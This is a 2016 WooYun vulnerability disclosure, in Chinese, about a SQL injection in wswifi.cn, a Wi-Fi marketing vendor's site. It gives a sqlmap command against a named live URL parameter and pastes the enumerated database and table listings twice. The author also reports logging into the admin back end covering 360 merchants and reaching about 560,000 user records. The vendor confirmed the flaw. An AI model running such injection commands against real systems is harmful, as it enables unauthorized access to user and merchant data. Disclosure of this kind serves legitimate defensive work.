当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0196946

漏洞标题：wifi安全之微商无线SQL注入涉及56w用户信息(可控制360台商家设备/包括网咖等)

相关厂商：wswifi.cn

漏洞作者： 黑色键盘丶

提交时间：2016-04-22 14:05

修复时间：2016-06-06 14:10

公开时间：2016-06-06 14:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-22： 细节已通知厂商并且等待厂商处理中
2016-04-22： 厂商已经确认，细节仅向厂商公开
2016-05-02： 细节向核心白帽子及相关领域专家公开
2016-05-12： 细节向普通白帽子公开
2016-05-22： 细节向实习白帽子公开
2016-06-06： 细节向公众公开

简要描述：

RT 可垮裤查询

详细说明：

注入点；sqlmap.py -u "http://www.wswifi.cn/news_text.asp?newsid=3"
http://ws.wswifi.cn/news_text.asp?newsid=25


数据库信息

back-end DBMS: Microsoft SQL Server 2008
available databases [8]:
[*] Engineering_database
[*] master
[*] model
[*] msdb
[*] tempdb
[*] ws_weigou
[*] wswifi
[*] xhzA8_V10_2013


表信息

Database: wswifi
+------------------------------+---------+
| Table                        | Entries |
+------------------------------+---------+
| dbo.user_Browse_record       | 261096  |
| dbo.free_renzheng            | 211319  |
| dbo.setggao_Browse_record    | 43750   |
| dbo.user_Browse_allcount     | 28472   |
| dbo.china                    | 3295    |
| dbo.user_login               | 2640    |
| dbo.Businesses_data          | 1451    |
| dbo.column_type              | 1416    |
| dbo.user_prozan              | 1345    |
| dbo.user_singin              | 1208    |
| dbo.Businesses_user          | 1180    |
| dbo.product                  | 849     |
| dbo.[user_renzheng_count---] | 450     |
| dbo.setggao_allcount         | 373     |
| dbo.businesses               | 360     |
| dbo.product_query            | 327     |
| dbo.propinglun               | 299     |
| dbo.Merchants                | 273     |
| dbo.Businessesuser_roll      | 260     |
| dbo.setggao_click_record     | 230     |
| dbo.pangolin_test_table      | 192     |
| dbo.job_Browse_record        | 190     |
| dbo.user_renzheng            | 96      |
| dbo.kehu_fahuo               | 87      |
| dbo.Businessesuser_active    | 83      |
| dbo.kehu_info                | 73      |
| dbo.user_renzheng_weixin     | 47      |
| dbo.rizhi_info               | 46      |
| dbo.agent_apply              | 33      |
| dbo.index_news               | 29      |
| dbo.Businesses_Transfer      | 28      |
| dbo.agent                    | 27      |
| dbo.setggao_fabu             | 20      |
| dbo.agent_salesman           | 18      |
| dbo.industry                 | 11      |
| dbo.Identification_type      | 10      |
| dbo.[setggao_order---]       | 9       |
| dbo.setggao                  | 7       |
| dbo.index_help               | 5       |
| dbo.column_display_mode      | 4       |
| dbo.agent_jibie              | 3       |
| dbo.agent_job                | 3       |
| dbo.wswifiadmin              | 3       |
| dbo.column_leixing           | 2       |
| dbo.job_Apply                | 2       |
| dbo.[ggao_send----]          | 1       |
| dbo.[ggao_type--]            | 1       |
| dbo.setggao_send             | 1       |
+------------------------------+---------+


跑出了wswifiadmin 表后登陆后台 360个商家

56.png


都是网咖 ktv等
垮裤查询 这里包括订单等信息

Database: ws_weigou
+-------------------------------+---------+
| Table                         | Entries |
+-------------------------------+---------+
| dbo.user_order_awardnum       | 407332  |
| dbo.user_browsepro_record     | 269214  |
| dbo.user_liulan_record        | 111459  |
| dbo.user_Integral_detailed    | 4424    |
| dbo.user_login                | 3807    |
| dbo.china                     | 3295    |
| dbo.user_order                | 3074    |
| dbo.wg_user                   | 2421    |
| dbo.user_consumption_record   | 542     |
| dbo.[user_browsepro_record--] | 523     |
| dbo.user_recharge_record      | 507     |
| dbo.Product_shopping_trolley  | 429     |
| dbo.user_red_envelopes        | 357     |
| dbo.Product_award             | 59      |
| dbo.category                  | 30      |
| dbo.product                   | 25      |
| dbo.uploadapp_pro             | 24      |
| dbo.user_delivery_address     | 18      |
| dbo.user_award_public         | 15      |
| dbo.crowdfunding_pro          | 14      |
| dbo.crowdfunding_order_record | 10      |
| dbo.crowdfunding_order        | 8       |
| dbo.friend_pro                | 7       |
| dbo.user_grade                | 2       |
| dbo.crowdfunding_order_temp   | 1       |
| dbo.uploadadd                 | 1       |
| dbo.user_order_temp           | 1       |
| dbo.wsweigou_admin            | 1       |
+-------------------------------+---------+


Database: Engineering_database
+----------------------------------+---------+
| Table                            | Entries |
+----------------------------------+---------+
| dbo.ggao_showcount_beifen        | 25196092 |
| dbo.ggao_showcount               | 3060837 |
| dbo.[ad_zhuomian_showcount--]    | 1648957 |
| dbo.netbar_user_count            | 561529  |
| dbo.ggao_clickcount              | 486537  |
| dbo.ggao_allcount                | 408032  |
| dbo.[ad_renzheng_lunbo_count--]  | 328725  |
| dbo.rand_six_password            | 200000  |
| dbo.netbar_user_allcount         | 67232   |
| dbo.[netbar_zhuomian_allcount--] | 63633   |
| dbo.netbar_user_login            | 47431   |
| dbo.netbar_user                  | 41135   |
| dbo.[ad_zhuomian_clickcount--]   | 33934   |
| dbo.user_recharge                | 8927    |
| dbo.netbar_login                 | 7432    |
| dbo.china                        | 3295    |
| dbo.ggao_fabu                    | 3008    |
| dbo.[netbar_lunbo_allcount--]    | 1539    |
| dbo.product                      | 396     |
| dbo.Product_query                | 312     |
| dbo.netbar                       | 281     |
| dbo.Package                      | 176     |
| dbo.ggao_send                    | 38      |
| dbo.netbar_admin                 | 29      |
| dbo.salesman                     | 21      |
| dbo.[ad_zhuomian--]              | 17      |
| dbo.[Engineering_user--]         | 9       |
| dbo.ggao_zizhu_allcount          | 9       |
| dbo.netbar_user_renzheng         | 8       |
| dbo.[ad_renzheng_lunbo--]        | 3       |
| dbo.Engineering_admin            | 3       |
| dbo.ggao_type                    | 3       |
| dbo.[ad_shezhi--]                | 1       |
+----------------------------------+---------+


dbo.netbar_user_count | 561529
56w用户信息

4567.png

漏洞证明：

注入点；sqlmap.py -u "http://www.wswifi.cn/news_text.asp?newsid=3"
http://ws.wswifi.cn/news_text.asp?newsid=25


数据库信息

back-end DBMS: Microsoft SQL Server 2008
available databases [8]:
[*] Engineering_database
[*] master
[*] model
[*] msdb
[*] tempdb
[*] ws_weigou
[*] wswifi
[*] xhzA8_V10_2013


表信息

Database: wswifi
+------------------------------+---------+
| Table                        | Entries |
+------------------------------+---------+
| dbo.user_Browse_record       | 261096  |
| dbo.free_renzheng            | 211319  |
| dbo.setggao_Browse_record    | 43750   |
| dbo.user_Browse_allcount     | 28472   |
| dbo.china                    | 3295    |
| dbo.user_login               | 2640    |
| dbo.Businesses_data          | 1451    |
| dbo.column_type              | 1416    |
| dbo.user_prozan              | 1345    |
| dbo.user_singin              | 1208    |
| dbo.Businesses_user          | 1180    |
| dbo.product                  | 849     |
| dbo.[user_renzheng_count---] | 450     |
| dbo.setggao_allcount         | 373     |
| dbo.businesses               | 360     |
| dbo.product_query            | 327     |
| dbo.propinglun               | 299     |
| dbo.Merchants                | 273     |
| dbo.Businessesuser_roll      | 260     |
| dbo.setggao_click_record     | 230     |
| dbo.pangolin_test_table      | 192     |
| dbo.job_Browse_record        | 190     |
| dbo.user_renzheng            | 96      |
| dbo.kehu_fahuo               | 87      |
| dbo.Businessesuser_active    | 83      |
| dbo.kehu_info                | 73      |
| dbo.user_renzheng_weixin     | 47      |
| dbo.rizhi_info               | 46      |
| dbo.agent_apply              | 33      |
| dbo.index_news               | 29      |
| dbo.Businesses_Transfer      | 28      |
| dbo.agent                    | 27      |
| dbo.setggao_fabu             | 20      |
| dbo.agent_salesman           | 18      |
| dbo.industry                 | 11      |
| dbo.Identification_type      | 10      |
| dbo.[setggao_order---]       | 9       |
| dbo.setggao                  | 7       |
| dbo.index_help               | 5       |
| dbo.column_display_mode      | 4       |
| dbo.agent_jibie              | 3       |
| dbo.agent_job                | 3       |
| dbo.wswifiadmin              | 3       |
| dbo.column_leixing           | 2       |
| dbo.job_Apply                | 2       |
| dbo.[ggao_send----]          | 1       |
| dbo.[ggao_type--]            | 1       |
| dbo.setggao_send             | 1       |
+------------------------------+---------+


跑出了wswifiadmin 表后登陆后台 360个商家

56.png


都是网咖 ktv等
垮裤查询 这里包括订单等信息

Database: ws_weigou
+-------------------------------+---------+
| Table                         | Entries |
+-------------------------------+---------+
| dbo.user_order_awardnum       | 407332  |
| dbo.user_browsepro_record     | 269214  |
| dbo.user_liulan_record        | 111459  |
| dbo.user_Integral_detailed    | 4424    |
| dbo.user_login                | 3807    |
| dbo.china                     | 3295    |
| dbo.user_order                | 3074    |
| dbo.wg_user                   | 2421    |
| dbo.user_consumption_record   | 542     |
| dbo.[user_browsepro_record--] | 523     |
| dbo.user_recharge_record      | 507     |
| dbo.Product_shopping_trolley  | 429     |
| dbo.user_red_envelopes        | 357     |
| dbo.Product_award             | 59      |
| dbo.category                  | 30      |
| dbo.product                   | 25      |
| dbo.uploadapp_pro             | 24      |
| dbo.user_delivery_address     | 18      |
| dbo.user_award_public         | 15      |
| dbo.crowdfunding_pro          | 14      |
| dbo.crowdfunding_order_record | 10      |
| dbo.crowdfunding_order        | 8       |
| dbo.friend_pro                | 7       |
| dbo.user_grade                | 2       |
| dbo.crowdfunding_order_temp   | 1       |
| dbo.uploadadd                 | 1       |
| dbo.user_order_temp           | 1       |
| dbo.wsweigou_admin            | 1       |
+-------------------------------+---------+


Database: Engineering_database
+----------------------------------+---------+
| Table                            | Entries |
+----------------------------------+---------+
| dbo.ggao_showcount_beifen        | 25196092 |
| dbo.ggao_showcount               | 3060837 |
| dbo.[ad_zhuomian_showcount--]    | 1648957 |
| dbo.netbar_user_count            | 561529  |
| dbo.ggao_clickcount              | 486537  |
| dbo.ggao_allcount                | 408032  |
| dbo.[ad_renzheng_lunbo_count--]  | 328725  |
| dbo.rand_six_password            | 200000  |
| dbo.netbar_user_allcount         | 67232   |
| dbo.[netbar_zhuomian_allcount--] | 63633   |
| dbo.netbar_user_login            | 47431   |
| dbo.netbar_user                  | 41135   |
| dbo.[ad_zhuomian_clickcount--]   | 33934   |
| dbo.user_recharge                | 8927    |
| dbo.netbar_login                 | 7432    |
| dbo.china                        | 3295    |
| dbo.ggao_fabu                    | 3008    |
| dbo.[netbar_lunbo_allcount--]    | 1539    |
| dbo.product                      | 396     |
| dbo.Product_query                | 312     |
| dbo.netbar                       | 281     |
| dbo.Package                      | 176     |
| dbo.ggao_send                    | 38      |
| dbo.netbar_admin                 | 29      |
| dbo.salesman                     | 21      |
| dbo.[ad_zhuomian--]              | 17      |
| dbo.[Engineering_user--]         | 9       |
| dbo.ggao_zizhu_allcount          | 9       |
| dbo.netbar_user_renzheng         | 8       |
| dbo.[ad_renzheng_lunbo--]        | 3       |
| dbo.Engineering_admin            | 3       |
| dbo.ggao_type                    | 3       |
| dbo.[ad_shezhi--]                | 1       |
+----------------------------------+---------+


dbo.netbar_user_count | 561529
56w用户信息

4567.png

修复方案：

过滤

版权声明：转载请注明来源 黑色键盘丶@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-04-22 14:08

厂商回复：

高危漏洞

最新状态：

暂无